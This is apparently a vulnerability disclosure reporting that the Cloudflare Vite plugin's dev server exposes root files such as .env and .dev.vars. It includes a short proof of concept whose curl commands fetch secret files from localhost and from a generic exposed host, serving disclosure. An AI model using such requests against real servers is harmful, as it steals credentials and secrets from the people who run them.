Cloudflare Vite plugin exposes secrets over the built-in dev server

Summary

Note: originally posted on H1 but closed. Cross-posting over to here in abundance of caution instead of a public issue.

When utilising the Cloudflare Vite plugin in its default configuration, all files are exposed by the local dev server, including files in the root directory that contain secret information such as:

• .env
• .dev.vars

PoC

1. Create a Workers project that utilises the @cloudflare/vite-plugin. For example:
   • npm create cloudflare@latest - select Framework Starter -> React
2. Add any secret files to test if they're accessible. echo foobar=secret > .dev.vars for example
3. Run npm run dev to start the dev server (after running npm ci if necessary to install dependencies) and then hit the following to expose information:

curl http://localhost:5173/.env may expose any secrets in this file curl http://localhost:5173/.dev.vars may expose any secrets in this file curl http://localhost:5173/package.json may expose dependencies used by the project, potentially leading to other vulnerabilities curl http://localhost:5173/README.md may expose internal documentation

Impact

If the vite dev server is exposed on a public network, such as when a user simply uses wrangler to serve their application and doesn't publish to Cloudflare in production, an attacker may be able to acquire secrets that the user doesn't wish to be exposed.

Another common scenario where this could happen is when sharing previews of an application using cloudflared. npm run dev -> share preview with cloudflared -> now all secrets are exposed to the public internet.

Exposing via vite is possible via:

npm run dev -- -- --host 0.0.0.0

The default configuration has no reason to expose information outside of the configured assets directory.

Example:

curl http://somehost/.env may expose secrets curl http://somehost/.dev.vars may expose secrets curl http://somehost/package.json may expose dependencies used by the project, potentially leading to other vulnerabilities curl http://somehost/README.md may expose internal documentation

etc.

Information disclosure to anyone on the same network, or if the dev server is exposed such as via cloudflared as explored here: https://github.com/cloudflare/workers-sdk/discussions/3455#discussioncomment-6165773